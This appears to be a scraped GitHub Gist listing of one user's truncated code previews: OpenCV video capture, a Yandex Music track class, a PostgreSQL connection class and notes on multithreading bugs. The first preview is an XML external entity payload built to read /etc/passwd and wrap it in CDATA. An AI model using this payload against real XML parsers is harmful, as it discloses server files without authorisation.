Skip to content

Instantly share code, notes, and snippets.

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]">
<!ENTITY % wrapper "<!ENTITY all '%start;%file;%end;'>">
%wrapper;
import cv2
from multiprocessing import Process
def fun1(source):
# define a video capture object
cap = cv2.VideoCapture(source)
while True:
# Capture the video frame
# by frame
ret, frame = cap.read()
from yandex_music.client import Client
import time
class Track:
def __init__(self, id_of_song, song_name, artists, album_id, local_path):
self.id_of_song = id_of_song
self.song_name = song_name.replace("/", " ")
self.artists = artists.replace("/", " ")
@Friedrich42
Friedrich42 / DB.py
Created October 12, 2019 19:00
db.py
import psycopg2
class DB:
def __init__(self, db_host, db_port, db_user, db_password, db_name, db_table):
try:
self.connection = psycopg2.connect(user=db_user, password=db_password,
host=db_host, port=db_port,
database=db_name)
except Exception as e:
@Friedrich42
Friedrich42 / multithreading-main.py
Created October 12, 2019 18:52
multithreading-main.py
"""
This is not stable code of multiuser system.
Main issues:
1. If there are many threads, they can fetch db elements in wrong order e.g. 811195, 811194, 811196...
2. If much time a lot of time has passed from code staring, ^C can not to work to save progress to json file
How to solve
1. Maybe sort it by id? I don't think it's good idea. Need to implement threads control or smth like it.
2. Add [ to start of log file, and ] to end, then rename it to something.json